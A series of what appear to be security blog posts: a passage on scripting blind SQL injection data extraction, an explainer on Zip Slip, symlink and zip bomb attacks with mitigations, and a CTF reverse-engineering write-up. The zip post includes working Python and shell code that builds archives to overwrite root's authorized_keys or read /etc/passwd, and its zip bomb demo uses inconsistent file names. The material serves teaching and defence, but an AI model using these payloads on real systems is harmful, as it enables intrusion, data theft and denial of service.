One quick and simple optimisation whenever we’re searching an ordered sequence is to apply binary search. This drastically reduces the max number of requests for each character from 96 to 7.³

This is a good thing for real life engagements: fewer iterations → less traffic → more sneaky → better opsec.

Normally, binary search relies on three possible outputs for a test: =, <, and >. But it is possible to make do with just two possible outputs: < and >=. If it’s less, we eliminate the upper half; otherwise, we eliminate the lower half.

def binary_search(val: int, low: int, high: int) -> int:
    """Binary search for value between low (inclusive) and high (exclusive),
    assuming the guessed value is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        print(f'{low:3} - {high:3}\tGuess: {mid:4}')
        if val < mid:
            high = mid  # Eliminate upper half.
        else:
            low = mid   # Eliminate lower half.

Here’s a quick example, where we progress towards 125 in 7 steps (which will translate to 7 HTTP requests later on).

print('result:', binary_search(125, 0, 128))
  0 - 128       Guess:   64
 64 - 128       Guess:   96
 96 - 128       Guess:  112
112 - 128       Guess:  120
120 - 128       Guess:  124
124 - 128       Guess:  126
124 - 126       Guess:  125
result: 125

In the code snippets above, val is known for demo purposes. But in reality, val is unknown; it’s the data we’re trying to exfiltrate. To be more realistic, let's replace the val comparisons with a function check_sql_value() which sends network requests.

def binary_search(sql_query: str, idx: int, low: int, high: int) -> int:
    """Find the value of sql_query using binary search, between
    low (inclusive) and high (exclusive). Assuming the guessed value
    is within range."""
    while low < high:
        mid = (low + high) // 2
        if low == mid:
            return mid # Found val.
        
        if check_sql_value(sql_query, idx, mid):
            high = mid
        else:
            low = mid

def check_sql_value(sql_query: str, idx: int, guess: int) -> bool:
    # Make web request to check ASCII(SUBSTRING(sql_query, idx, 1)) < guess.
    # And then check if the response is a TRUE or FALSE response.
    ...

for idx in range(1, 256):
    val = binary_search("@@version", idx, 0, 128)
    # Handle `val`...

The idea here is we can pass an SQL query, such as @@version or sqlite_version(), followed by the index and expected ranged.

binary_search("@@version", idx, low, high)

We can make the code more generic or flexible, but the underlying idea is there.

More SQL Tricks

Not all types of data are easy to exfiltrate. Here are some tricks I've picked up (some of which could be scripted):

Use subqueries to select data from arbitrary tables.
- e.g. ASCII(SUBSTRING((SELECT password FROM users LIMIT 1 OFFSET 5), 1, 1))
Use GROUP_CONCAT to combine multiple rows into one row. This function is available in MySQL and SQLite.
- Subqueries only work when 1 row and 1 column is selected.
- Occasionally, there is a lot of data across multiple rows.
  - We can use LIMIT (or TOP for SQL Server) to restrict the data to one row.
  - Or we could GROUP_CONCAT to capture more data in a single subquery. Then there would be one less number to change.
Cast SQL output to char/varchar to capture numbers, dates, and other types.
- e.g. CAST(id AS VARCHAR(32)) in MySQL
- Cast with NULL, may not work. Additional NULL-checks may be needed.

Adding Multithreading

Now that we've optimised the reading of a single character, can we also speed up the reading of an entire string?

Yes! Thanks to concurrency! For this, we'll reach for Python's built-in concurrent.futures library, which provides several high-level threading tools. The choice boils down to using threads (via ThreadPoolExecutor) or processes (ProcessPoolExecutor), and considering how data/processing is distributed.

Threads vs. Processes

Time for a quick comparison.

Threads:

lightweight and quick to create
shares memory with main process
one GIL to rule them all
recommended for IO-bound tasks (network, requests)

Processes:

slower to create
doesn't share memory
each process has their own GIL
recommended for CPU-bound tasks (intense computations, calculations)

Note: GIL behaviour may change in Python 3.13+, so expect some updates in the (concurrent.)future.

Reference: StackOverflow – Multiprocessing vs. Threading in Python

Using ThreadPoolExecutor

In the end, I used ThreadPoolExecutor, since our code was constrained by network requests. The shared memory also means we don't need to worry about parameters and duplication as much. Even though the GIL prevents us from (strictly) executing in parallel, we do observe some speedup.

In the code snippet below, we create a task for each character of the string. (Assume the length of the string is known.) When a thread finishes searching for a character, the thread is recycled and picks up the next task, then the next, and so on until all tasks are done.

We can process finished tasks as they roll in using concurrent.futures.as_completed.

with concurrent.futures.ThreadPoolExecutor(max_workers=8) as executor:
    future_map = {}

    # Create a task for each character.
    for idx in range(length):
        future = executor.submit(get_by_bsearch, f"ASCII(SUBSTRING(({sql}),{idx+1},1))", 0, 128)
        future_map[future] = idx

    # Handle finished tasks concurrently.
    for future in concurrent.futures.as_completed(future_map):
        idx = future_map[future]
        ch = future.result()
        # We found the character at a particular index!
        # Store it somewhere...
        somewhere[idx] = ch

The length of the string can be determined beforehand with another binary search. Assuming the max length is 2048...

length = get_by_bsearch(f"LENGTH(({sql}))", 0, 2048)

Adding Comfort Features

Aside from a tool’s utility, we should also consider user experience. We want to design the tool to be convenient for ourselves, and potentially other users. For instance, we shouldn’t have to modify code to change general settings (e.g. the target URL). And it'd be nice to have visual feedback; waiting can be boring.

Here are some things we'll add to our automation:

Command Line Arguments
Progress Bar
Interactive Interface

At this point, it’s mostly about choosing mature libraries, looking at documentation, and playing around with code. I’ll list some libraries I found useful/interesting.

Command Line Arguments

argparse, built-in, robust, used almost everywhere
python-fire, convenient wrapper which generates command-line arguments from function annotations. (Looks interesting but I haven’t used.)

Progress Bar

Common options are:

rich, colourful, great look-and-feel
tqdm, traditional rectangular progress bar

Some challenges arise when mixing progress bars with multithreading. In general...

Dropping to a lower-level API helps alleviate issues. For example, rich allows you to control how tasks are added, updated, and removed.
KeyboardInterrupt and Exceptions should be carefully handled. You do want ^C to work right?
- "Boss, we accidentally swamped the hospital's database with our script. Their server was weak."
- "Stop it! Millions of lives are at stake!"
- "We can't... Control-C doesn't work!"
- "You leave me no choice." (pours water over computer)

Interactive Interface

Instead of modifying the shell command on each SQL change, it would be nice to have an interactive, shell-like program for running SQL statements. Throwing input() in a while-loop could work, but doesn't have the usual shortcuts (e.g. up for previous command⁴). To have a nicer, cross-platform terminal interface, we can use:

prompt_toolkit
- Has the usual terminal shortcuts: up, down, reverse search ^r.
- Command history can be stored in a file so that it persists across runs.

The implementation is as simple as replacing input() with prompt.prompt().

Before:

sql = input("sqli> ")

After:

prompt = PromptSession(history=FileHistory(".history"))
sql = prompt.prompt("sqli> ")

Conclusion

In this post, we introduced Boolean-Based Blind SQL injection, how it can be used to enumerate a database, and some optimisations and workarounds for exfiltrating data more reliably. We also explored some useful Python libraries to glue onto your project.

Automation and scripting can be a powerful time saver when the need exists. We identified a tedious task — brute forcing characters for possibly long strings — and followed up with incremental changes. Hopefully the reader has picked up a few tips on automation.

Footnotes

Unicode characters are trickier to deal with. One possible way is to cast the number on the RHS with CHAR. (This is the method SQLmap uses.) Another possible way in MySQL is to use ord, which maps multibyte characters to base-256. Character encoding is hard. :( ↩︎
Full code for the Flask + SQLite demo is uploaded on GitHub for reference. ↩︎
This should make sense in bit terms. We only need 7 queries to figure out the 7 bits of an ASCII character. (The first bit is assumed to be 0.) Most Boolean-Based SQLi throwaway scripts don't do binary search because the algorithm is tricky to get right. But it's useful to know, and can be applied to time-based SQLi (another type of blind SQLi) as well for massive time discounts. ↩︎
Although in Windows, this appears to be built-in?! At least Windows or Python on Windows does one thing well. 🤷‍♂️ ↩︎

From Compression to Compromise: Unmasking Zip File Threats

2024-02-15T00:00:00Z

Zip files are everywhere in our daily lives, seamlessly integrated into our personal, academic, and professional environments. From Java apps to Microsoft Office documents, zip files have become an indispensable tool.

But as we know from Silicon Valley, zip files have the potential to be dangerous.

^{YouTube: Silicon Valley - The Ultimate Hack}

In this post, we'll delve into the intriguing world of zip file attacks, exploring various attacks and mitigations involving zip files. These attacks allow attackers to potentially gain unauthorised file read/write privileges—or even cause denial of service. This calls for mitigations to bolster our systems’ defences.

The discussion will primarily centre around attacks on Linux/Unix, although considerations for Windows are also included.

Disclaimer: The content provided in this blog post is intended purely for educational purposes. The author does not assume any responsibility for the potential misuse of the information presented herein. Readers are advised to exercise caution and utilise the knowledge gained responsibly and within legal boundaries.

Zip Attacks

Zip Slip ⛸

Overview of Zip Slip

Zip Slip is a fancy name for directory traversal but applied to zip uploads. The idea is to escape a directory by visiting parent directories through ../ (or ..\ on Windows). By exploiting the lack of filename validation, Zip Slip enables us to perform arbitrary file writes.

Let's look at an example.

A typical zip file may look like this:

foo.zip
└── data1.csv
└── data2.txt
└── ...

But in a Zip Slip payload, files are prefixed with nasty double-dots (../). As an example, we'll try to overwrite SSH keys by writing to /root/.ssh/authorized_keys.

evil-slip.zip
└── placeholder.txt
└── ../../root/.ssh/authorized_keys

(Note: placeholder.txt has been included as a control variable, i.e. to show what happens normally to files.)

Most decompression applications will refuse to unpack such a zip. But vulnerable ones would gladly accept it and overwrite SSH keys on their system.

Suppose a vulnerable application unzips evil-slip.zip to /app/uploads/. The unzipped authorized_keys file would end up in /app/uploads/../../root/.ssh/authorized_keys, i.e. /root/.ssh/authorized_keys.

/
├── app/
│	└── uploads/
│	    └── placeholder.txt
└── root/
    └── .ssh/
		└── authorized_keys

^{Result of unzipping evil-slip.zip. Note that placeholder.txt resides in the unzip directory, while authorized_keys has sneaked its way into /root/.ssh/.}

Overwriting ~/.ssh/authorized_keys is a common arbitrary file write vector which can be applied in other file upload scenarios too! (See this MITRE reference.)

This isn't the only way to gain arbitrary code execution. There are other potential targets for an arbitrary file write (server credentials, config files, cron jobs, etc.).

DIY: Build your own Zip Slip payload!

With Python

Python's built-in zipfile module provides a convenient way to create zip files.

import zipfile

with zipfile.ZipFile("evil-slip.zip", "w") as zip:
    zip.write("my-ssh-key.pub", "../../root/.ssh/authorized_keys")
    #          │                 └ filename to store on the archive
    #          └ file to compress from our local file system

This creates a new evil-slip.zip zip file. After importing the zipfile module, we create an instance with the desired file name (evil-slip.zip) and use write-mode ("w"). (There is also r and a for reading/adding files.)

We also use Python's with statement, so that the zip file automatically saves when leaving the block, whether due to normal or erroneous circumstances.

Inside, we use zip.write to add files to the zip. We add a local file my-ssh-key.pub and store it as ../../root/.ssh/authorized_keys in the archive.

One nice thing about the zipfile module is that it constructs the file in-memory (without creating temporary files). This allows us to craft complex zips without trashing our local filesystem.

_(collapse)

With Shell Commands

Another approach is to use shell commands and reverse the process: start with the files we want unzipped.

touch ../../root/.ssh/authorized_keys
Normally we would run `ssh-keygen` to generate a key pair...
and use the generated public key as our authorized_keys.
But let's assume ../.ssh/authorized_keys holds a public key.

zip evil-slip ../../root/.ssh/authorized_keys
  adding: ../../root/.ssh/authorized_keys (deflated 18%)

unzip -l evil-slip
Archive:  evil-slip.zip
  Length      Date    Time    Name
---------  ---------- -----   ----
      575  01-23-2024 17:53   ../../root/.ssh/authorized_keys
---------                     -------
      575                     1 file

_(collapse)

Limitations of Zip Slip

On Windows, you may need backslashes \ instead of forward slashes /. This ultimately depends on the unzipping application/library. Some libraries will convert between slashes.
The app needs execute permissions on intermediate folders (to traverse across) and write permissions on the target folder. For instance, to write to foo/bar/baz/flag.txt, we need x permissions on foo/ and foo/bar/; and wx permissions on foo/bar/baz/.

Zip Symlink Attacks 🖇

Zip symlink attacks are just that: zip file attacks containing symlinks (symbolic links). There are several ways to build such a malicious zip, but let's first clarify two types of symlinks in our arsenal:

Symlink Files. This allows us to potentially read arbitrary files.
Symlink Directories. This allows us to potentially write files to arbitrary folders.

Why “potential”? Because there are other factors that may hinder such attacks: OS permissions, WAFs, etc.

Arbitrary File Read with File Symlinks

Let's start with a simple zip symlink payload. Here's a zip which contains a symlink to /etc/passwd.

evil-link-file.zip
└── passwd.txt         -> /etc/passwd

Suppose (again) a vulnerable app unzips this file at /app/uploads/. The filesystem would now resemble:

app/
└── uploads/
	└── passwd.txt     -> /etc/passwd

If we can read files in /app/uploads/, then we can read passwd.txt and by extension, /etc/passwd!¹ We can use this method to read any file on the system (subject to certain constraints to be discussed later).

This is all fine and dandy if we can read files in /app/uploads/. But... what if can't?

One solution is to find a readable directory, then deploy the symlink into that directory with Zip Slip. But let's look at another way to achieve the same result...

Arbitrary File Write with Dir Symlinks

Although Zip Slip does allow us to perform arbitrary file writes, .. patterns may be (naively) filtered or blocked. An alternative is to use directory symlinks.

Again, let's try to write a file to /root/.ssh/authorized_keys.

Instead of using one zip entry, we'll use two: a directory and a file.

evil-link-dir.zip
└── dirlink/           -> /root/.ssh/
    └── authorized_keys

These two entries are:

dirlink: a symlink to our target directory
dirlink/authorized_keys: the file we're trying to write

Now our zip contains a symlink directory! Let's go through what happens when this file is unzipped by a vulnerable app.

First, dirlink is decompressed and a symlink is created, pointing to /root/.ssh/. Next, the app tries to decompress dirlink/authorized_keys, which—if the app follows symlinks—gets written to /root/.ssh/.

Tada! We've just shown another way to achieve arbitrary file write.

Let's see what the filesystem looks like now.

/
├── app/
│	└── uploads/
│	    └── dirlink        -> /root/.ssh/
└── root/
    └── .ssh/
		└── authorized_keys

Put it into Practice: If you're itching to try out Zip Slip and zip symlink attacks, feel free to try the exercises I've uploaded on GitHub.

DIY: Build your own Zip Symlink Payload!

With Python

Like before, we can use Python to generate zip symlink payloads. We'll need some extra massaging with ZipInfo though.

# evil-link-file.zip
# └── passwd.txt         -> /etc/passwd
with zipfile.ZipFile("evil-link-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # This creates a file symlink named `passwd.txt` which links to `/etc/passwd`.
  info = zipfile.ZipInfo("passwd.txt")
  info.create_system = 0 # Linux => 0. Windows => 3.
  info.external_attr = (stat.S_IFLNK | 0o777) << 16 # File attributes.
  zip.writestr(info, "/etc/passwd")  # /etc/passwd is the file we want to read.

To construct a dir symlink attack, we change the path in zip.writestr to a directory. We also use zip.write to add a source file.

# evil-link-dir.zip
# └── dirlink/           -> /root/.ssh/
#     └── authorized_keys
with zipfile.ZipFile("evil-link-dir.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/root/.ssh/")

  # Add an file from our filesystem. (Not a symlink.)
  zip.write("my-ssh-key.pub", "dirlink/authorized_keys")

For a double symlink attack (file symlink + dir symlink), we just combine the two methods and create two symlinks.

# evil-link-dir.zip
# └── dirlink/           -> /some/readable/directory/
#     └── passwd.html    -> /etc/passwd
with zipfile.ZipFile("evil-link-dir-file.zip", "w", compression=zipfile.ZIP_DEFLATED) as zip:
  # Order matters! Write dir first, then file.
  info = zipfile.ZipInfo("dirlink")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/some/readable/directory/")

  info = zipfile.ZipInfo("dirlink/passwd.html")
  info.create_system = 0
  info.external_attr = (stat.S_IFLNK | 0o777) << 16
  zip.writestr(info, "/etc/passwd")

_(collapse)

With Shell Commands

Shell commands also work. (Make sure to use -y/--symlinks when zipping symlinks. Otherwise, you'd be adding your actual /etc/passwd!)

Double symlink payload construction:

Create our (soft) links.
ln -s /some/readable/directory/ dirlink
ln -s /etc/passwd dirlink/passwd.txt
Zip the links. (Order matters!)
zip -y evil-link-dir-file dirlink dirlink/passwd.txt

Note that this approach will leave leftover files.

_(collapse)

Limitations of Zip Symlink Attacks

Permissions on Linux.
- To create a symlink, we need execute permissions in the source directory (where the linked file is located) and write/execute permissions in the target directory (where the symlink is created).²
- Reading a symlink requires execute permissions in the source directory, and read permissions on the source file.
Permissions on Windows. By default, only Administrators have the privilege to create symbolic links. This setting can be changed by editing the local group policy or by directly enabling SeCreateSymbolicLinkPrivilege.
Although symlink attacks are cool and all, they're relatively rare (in the wild) compared to Zip Slip. Perhaps symlinks are handled with extra care.

Zip Bombs 💣

Since we're talking about attacks, let's also cover zip bombs for completeness.

Zip bombs are designed to cripple computers, systems, and virus scanners (rather than read sensitive data or escalate privileges, like Zip Slip and symlink attacks). Much like the well-memed fork bomb, a zip bomb attempts to drain system resources.

^{Some fork bomb memes. And zip bomb memes adapted from fork bomb memes. Zip bomb memes where?³}

The basic principle abuses the deflate⁴ compression format to achieve compression ratios of up to 1032:1. This means after compression, every byte of compressed data can represent up to 1032 bytes of uncompressed data.

Zip bombs approach this ratio by compressing a file with highly-repetitive patterns (e.g. all zeros) which can be counted and grouped compactly.

Why are highly-repetitive patterns 'easier to compress'?

To see why repetitive patterns facilitate compression, consider an analogy with run-length encoding. If we want to compress 1111222233334444, we would say four 1s, four 2s, four 3s, four 4s which has a compression ratio of 12 characters to 8 words. But if we want to compress 1111111111111111, we would say twelve 1s, which has a higher compression ratio of 12 characters to 2 words.

_(collapse)

The well-known 42.zip bomb is only 42KB, but contains 5 layers of zips upon zips. Unzipping the first layer yields a harmless 0.6MB. But recursively uncompressed, it yields an astronomical payload of 4.5PB (petabytes, 15 zeros)!

Most decompression tools and virus scanners are wary of zip bombs, and only unzip the first (few) layers or stop after identifying a zip file.

In 2019, David Fifield introduced a better zip bomb, which abuses the structure of a .zip, toying with metadata to trick decompressors into puking ungodly amounts of data.⁵ A 42KB, compressed Fifield zip bomb yields 5.4GB of uncompressed bytes. This is just the first level of decompression! This metadata trickery is more generally known as Metadata Spoofing.

DIY: Build your own Zip Bomb!

Here's a small demo on a Linux shell:

Create a blank file with 5GB of null bytes.
dd if=/dev/zero bs=20000 count=250000 >zero.txt

Zip it.
zip test.zip test.txt

Count the number of bytes.
wc -c zero.txt zero.zip
 5000000000 zero.txt
 4852639 zero.zip
 5004852639 total

From 5GB, we've gone down to ~4.9MB! A few of these could exhaust most virtual machines.

Zip Vulnerabilities in the Wild

Here are some notable zip vulnerabilities in the past decade:

Multiple Zip Vulnerabilities across Flutter and Swift Packages (2023)
Zip Symlink Vulnerability in Juce (2021)
Zip Slip (2018) and Metadata Spoofing (2019) in Rubyzip
Zip Slip Bonanza in Multiple Languages/Frameworks/Packages (2018 - 2019)

Keep in mind zip files come in different forms. Here are some you might be familiar with:

.docx, .pptx, .xlsx (Microsoft Documents),
.jar (Java Archive),
.apk (Android App),
.mscx (MuseScore File).

Any service processing such files has potential to be vulnerable.

Mitigations and Other Considerations

So much for the offensive side. How about the defensive aspect? What approaches can we take to secure our systems?

Let's explore a few ways to mitigate zip attacks. (Some of these can also be applied to protect against other attacks, or may just be general improvements.)

Permissions

For sysadmins.

Avoid running applications as root or Administrator. Instead, run it with a minimum privilege user.

Minimum meaning: enough permissions to get the job done, and only enabling higher permissions when needed. Typically, only read/write are needed. Maybe write permissions for log/upload directories.

In America, "all men are created equal". Not so in filesystems.

Reading, writing, and linking files depends on permissions. Setting appropriate permissions for the process and limiting the scope of an application can go a long way in preventing attackers from snooping secrets.

See Limitations of Zip Slip and Limitations of Zip Symlink Attacks for details on relevant permissions.

Modern Antivirus

For sysadmins and normies.

Upgrade your (antivirus) software. Daily updates to malware signatures ensure your antivirus program stays equipped to detect and thwart emerging threats.

Although zip bombs have targeted antivirus (AV) systems in the past, most modern AV programs can detect zip bombs by recognising patterns and signatures.

Robust Code

For software developers building/maintaining zip applications/libraries.

Consider the nature of your application/library and handle edge cases. Prevent attack vectors where applicable.

Although /../ and symlinks can be used maliciously, they are technically allowed by the zip specification⁶. So... should your product implement protections against these? It depends.

Are you developing an unzip application (for end-users) or a high-level unzip library (to be conveniently imported and used by application developers)?
- Then yes, you should prevent the aforementioned tricks entirely.
Are you developing a low-level unzip library, closely following the zip spec?
- Then not necessarily, but you should play your part by using secure defaults where possible. The responsibility now falls on developers using your library to respect the defaults and assess potential risk.

Code: Malicious Actors Hate This One Simple Trick!

One common way to prevent arbitrary file write attacks is to:

resolve the canonical path of the target file,⁷ and
verify the path is within the unzip directory.

For instance, Juce v6.1.5 added such a check:

if (!fileToUnzip.isAChildOf(directoryToUnzipTo))
  // Attack attempt detected: attempted write outside of unzip directory.
  return Result::fail("...");

_(collapse)

Attack Vectors and Edge Cases to Consider

For high-level unzip libraries and applications.

Checklist of edge cases to consider.

.. (Zip Slip),
symlinks (zip symlink attacks),
potential uncompressed file size (especially if your application targets end-users or constrained systems).

_(collapse)

Good Defaults

For all unzip libraries and applications.

Don't follow symlink directories.
Don't overwrite files. You don't want your existing files wiped out, right?

It's a good idea to keep these defaults, unless you really need these features, and you're confident with the level of risk you're dealing with.

_(collapse)

Unit Tests

For software developers building/maintaining zip libraries.

Adopt unit testing to verify your code works as intended. Add test cases against unintended situations.

Test cases prevent software regression and automate the menial task of manual input. For example, Juce v6.1.5 also introduced a test case against Zip Slip.

tl;dr

A quick recap:

There are generally three streams of zip attacks:
- Arbitrary File Write with Zip Slip
- Arbitrary File Read/Write with Zip Symlink Attacks
- Denial of Service with Zip Bombs and Metadata Spoofing
Ways to counter zip attacks include:
- (Sysadmins) Run applications with a minimum-privilege user.
- (Regular Users, Sysadmins) Regularly update antiviruses with new signatures.
- (Software Developers) Adopt strong software development practices, including error handling, secure defaults, and unit tests.

While zip files offer convenience and efficiency in compressing and sharing data, we shouldn't overlook the security implications they can present. Hopefully this article left the reader with some understanding of their potential risks.

Anecdotes? Stories? New zip developments? Let me know by leaving a comment. 🙂

Other References

PentesterAcademy: From Zip Slip to System Takeover
SecurityVault: Attacks with Zip Files and Mitigations
zipattack.py - various functions to construct zip payloads in Python

Footnotes

Okay, some steps were skipped here for the sake of simplicity. The long answer is: reading a symlink also depends on permissions of the source file and the source directory. If we can read files in our upload directory and if we have sufficient permissions, then we can (potentially) have arbitrary file read. See Limitations. ↩︎
Reference: SO: Minimum Permissions Required to Create a Link to a File ↩︎
There probably aren't as many memes on zip bombs as they tend to be a software bug which can be swiftly patched. ↩︎
This is the same compression algorithm used in gzip (commonly used for transferring files across the web) and PNGs. ↩︎
Fifield's article on "a better zip bomb": https://www.bamsoftware.com/hacks/zipbomb/. (It may be blocked on some browsers.) ↩︎
Reference: PKWare Mirror ↩︎
Canonical path means no ./, no ../, no ~/, no symlinks. Just a directory built directly from /. ↩︎

HKCERT CTF 2023 – Decompetition: Vitamin C++

2023-11-16T00:00:00Z

Oh boy, another C++ reverse challenge. :rubs_hands_in_delight:

Decompetition: Vitamin C++ is a reverse engineering challenge in this year's HKCERT CTF, an annual online capture-the-flag competition hosted in Hong Kong. The format is slightly different from usual rev chals in that we’re required to derive the source code of a binary. This really tests our understanding of how the language is compiled into machine code.

So whether you’re a first-timer or a veteran at reversing C++, this is a fun(?) way to dive deep into or review neat aspects of the language.

If you want to follow along, you can grab the challenge here: GitHub (Backup). I’ll also be relying on Ghidra as my decompiler, because I ~~am poor~~ want to support open-source.

Description

Author: harrier
4/5 stars ⭐️. 5/311 solves.

So let's learn reverse with Decompetition!¹ The goal is simple: try to recover the original source code as much as possible, while understand the code logic deeply to get the internal flag! Only with two of those together, you will win this flag.

STL is used everywhere, so it would be nice to be able to reverse them!

Note there is an internal flag with flag format internal{}. Please do not submit this directly to the platform.

g++ version: g++ (Debian 12.2.0-14) 12.2.0
nc chal.hkcert23.pwnable.hk 28157

And a note on testing:

If you want to run this locally, you can install all the prerequisite library with pip, and run python compiler trie.disasm.
pip install pyyaml capstone intervaltree pyelftools diff_match_patch

Thus, to get the flag, we need to:

Obtain the source code (97.5% similarity).
Obtain the internal flag by reversing the source code.
Submit the internal flag (not to the platform, but to the remote connection).
Profit!

(You can see this process play out in compiler.py.)

The first step is the most challenging. Even if we have a decent understanding of the program, we still need the source code to continue.

Let’s start by analysing what we’re given and how we can approach the problem. We'll aim for 100% similarity, but go step by step.

Analysis

Unzipping our bag of goodies, we’re given:

compiler.py. This is the backend doing all the compilation and diffing.
- Only TrieNode methods, wordhash, and main are diffed.
- Prior to compiling, our code is prefixed with some boilerplate (includes of unordered_map, string, and iostream).
build.sh. Checks our code against bad patterns, and compiles the program.
trie. This is the binary file of our target source code. Open this in your favourite decompiler.
trie.disasm. This is the disassembly used by compiler.py for diffing.
flag.txt. Read and printed by compiler.py after submitting the internal flag.
A bunch of other Python files to make things work.

Is there a way we can simplify the process?

Inline assembly with asm, attribute trickery, and macros are disallowed.

A quick Google search for TrieNodes resulted in disappointment. The mix() function is especially unique, as tries generally just do insert/search. So we can probably conclude: the implementation was either hand-spun or modified substantially.

It appears the most productive approach is to tackle the problem head on.

But hey, it’s just a simple lil’ trie, not a friggin standard template container or Boost/Qt library. We can do this!

Trie Me

Let’s briefly review tries. What is a trie?

Tries, or prefix trees, are data structures commonly used to efficiently store and retrieve strings. They are particularly useful for tasks like autocomplete or spell checking. The key idea behind tries is that each node in the tree represents a prefix of a string, and the edges represent the characters that can follow that prefix.

^{Example of trie containing the words and, ant, dad, and do. Each edge represents a letter to the next prefix. (Source)}

In terms of matching an exact string, the complexity is similar to a hashmap: O(n) insert/search time, w.r.t. the length of the string. But a hashmap is typically faster as it requires fewer operations.
The power of tries comes with alphabetical ordering and prefix search (which is why they’re useful for autocomplete). Hashmaps can't do this.

Setting Up the Structure

Demangling Names

Let’s start by demangling functions! This way, we’ll roughly know its name and signature—big clues, from a functional viewpoint.

In C++, function and class names are mangled. So instead of using sensible names like TrieNode::mix, std::string::substr, and std::endl, the compiler stores hellish sequences like _ZN8TrieNode3mixEc, _ZNKSt7__cxx1112basic_stringIcSt11char_traitsIcESaIcEE6substrEmm, and _ZSt4endlIcSt11char_traitsIcEERSt13basic_ostreamIT_T0_ES6_. (Yes, endl is a function.)

Why do C++ compilers behave this way?

This has to do with function overloading. For example:

void print(int i) { /* ... */ }
void print(float f) { /* ... */ }
void print(std::string s) { /* ... */ }

^{C++ function overloading in action. Same name. Different parameters.}

With function overloading, names are reused. Now if the names are the same, how can the linker find and call the right function? The compiler solves this by encoding a function’s signature into its name, so that all names are unique. (We don't have this problem in plain old C, because function overloading isn’t even a concept!)

_(collapse)

To demangle these cryptic monstrosities, we can throw them into online tools (e.g. demangler.com²) or just use a C++-enabled decompiler (e.g. Ghidra) which automatically demangles names.

Classy Types

When discussing C++, it’s hard to avoid the topic of classes. These supercharged C-structs are the basis of any object-oriented program.

Looking at the demangled function names, we can identify the TrieNode class. What next?

There are two parts to reversing a class:

Methods/functions. How does the class behave? What does it do?
- These are easy to find due to the prefix (e.g. TrieNode::). Reversing their content is a different question, which we'll address in upcoming sections.
Members. What comprises a class? What is its state?
- This is a tricky question to answer, as variable names are usually stripped. Careful analysis of reads/writes is required (xrefs are useful!).
  - Is it set to only 0 or 1? And used in conditions? Probably a boolean.
  - Is it compared to other numbers a lot and used near loops? Probably an integer representing size.
- By peeking at the TrieNode constructor, we figure out that TrieNode has three members.
  1. An unordered map (aka hashmap) from chars to nodes. Size: 0x38 bytes. As this resembles the edges of the node, we'll call variable this next_node.
  2. A bool. Size: 1 byte.
  3. Another bool. Size: 1 byte.

Overall, our structure should resemble:

using namespace std; // FYI, this is discouraged in actual software engineering: https://stackoverflow.com/q/1452721/10239789.

void wordhash(string s) {} // return type: ???

struct TrieNode {
	// Members.
	unordered_map<char, TrieNode*> next_node;
	bool bool1;
	bool bool2;

	// Constructor.
	// Initialise variables. `next_node`'s constructor is called automatically.
	TrieNode() : bool1{false}, bool2{false} {}   // Member Initialiser List: https://cplusplus.com/articles/1vbCpfjN/

	void insert(string s) {} // return type: ???
	void search(string s) {} // return type: ???
	void mix(char cmix) {} // return type: ???
}

int main() {}

^{Return types are unknown, because most compilers don't mangle them with the name. For now, they've been substituted with void and left as an exercise for the reader.}

On Struct vs. Class

Structs are public by default. Classes are private by default.

Public/private are concepts which fall under OOP encapsulation. With encapsulation, we bundle data and only expose certain API methods for public users, whilst hiding implementation. With a cyber analogy, this is not unlike exposing certain ports (HTTP/HTTPS) on a machine, and protecting other ports with a firewall.

I chose to use struct here because I'm lazy and want to make members public.³ Some of them are accessed directly in main anyway.

_(collapse)

Reversing

Plagiarise a Decompiler

Now that we have a basic structure set up, it's time to dig deeper. We need to go from binary to source code. Hmm… that sounds like a job for… a decompiler!

So let’s start with that! We can ~~plagiarise~~ copy output from Ghidra and rewrite it to make programmatic sense.

Exercise: Reverse the wordhash function.

Solution

char wordhash(string s)
{
    char hash = 0;
    for (int i = 0; i < s.size(); i++)
        hash ^= s[i];
    return hash;
}

This is a simple hash function which xors all characters in a string. It's not a very effective hasher, because it's prone to collisions (also it's not const-correct). But eh, this is just for a CTF challenge.

_(collapse)

Implement the Data Structure

Time to implement the core of the program: the TrieNode class. As before, we can refer to Ghidra's output.

Exercise: Reverse TrieNode::insert, TrieNode::search, and TrieNode::mix.

We can make good use of Ghidra's Rename, Retype, and Edit Function Signature tools to clean up the code.
Ghidra sometimes loads incorrect function signatures (e.g. for operator[]). You may wish to edit the signature so that it displays arguments properly.⁴

I'll leave the first two functions as an exercise for the reader. :)

mix() seems to be a total oddball, as tries don't usually have such a function.

^{Ghidra decompilation of TrieNode::mix().}

TrieNode::mix: Possible Solution

void mix(char cmix)
{
	unordered_map<char, TrieNode*> new_map;

	// For each edge...
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		// ...update the character.
		new_map[ch ^ cmix] = node;
	}

	// A new map is used so that old mappings aren't kept.
	// Update the map of the current node.
	this->next_node = new_map;

	// Recurse into child nodes with the same xor key.
	for (auto it = this->next_node.begin(); it != this->next_node.end(); ++it) {
		auto pair = *it;
		char ch = std::get<0>(pair);
		TrieNode* node = std::get<1>(pair);
		node->mix(cmix);
	}
}

Now if you run this through the compiler diff, it should respond with some lines:

-call    _ZSt3getILm0EKcP8TrieNodeERNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERS7_
+call    _ZSt3getILm0EKcP8TrieNodeERKNSt13tuple_elementIXT_ESt4pairIT0_T1_EE4typeERKS7_

Subtle. But there is a good reason why this occurs. We'll look at this in more detail later.

_(collapse)

On Various Features

Common, but worth mentioning.

On auto

auto is a special keyword introduced in C++11 typically used to tell the compiler: "figure out this type for me".

It has seen wide adoption and growing support in the standard (more features for auto are added each standard). Now (C++20) it's used widely in template parameters and lambda parameters.

_(collapse)

On Iterators

The previous solution for mix() made use of iterators. These are commonly used by the STL, providing a generic interface for iterating over containers.

for (auto it = container.begin(); it != container.end(); ++it) {
	// ...
}

We generally start with .begin() and iterate with prefix increment (++it) until we hit the .end() iterator. With iterators, we can apply generic algorithms on generic containers.

_(collapse)

On Unordered Map

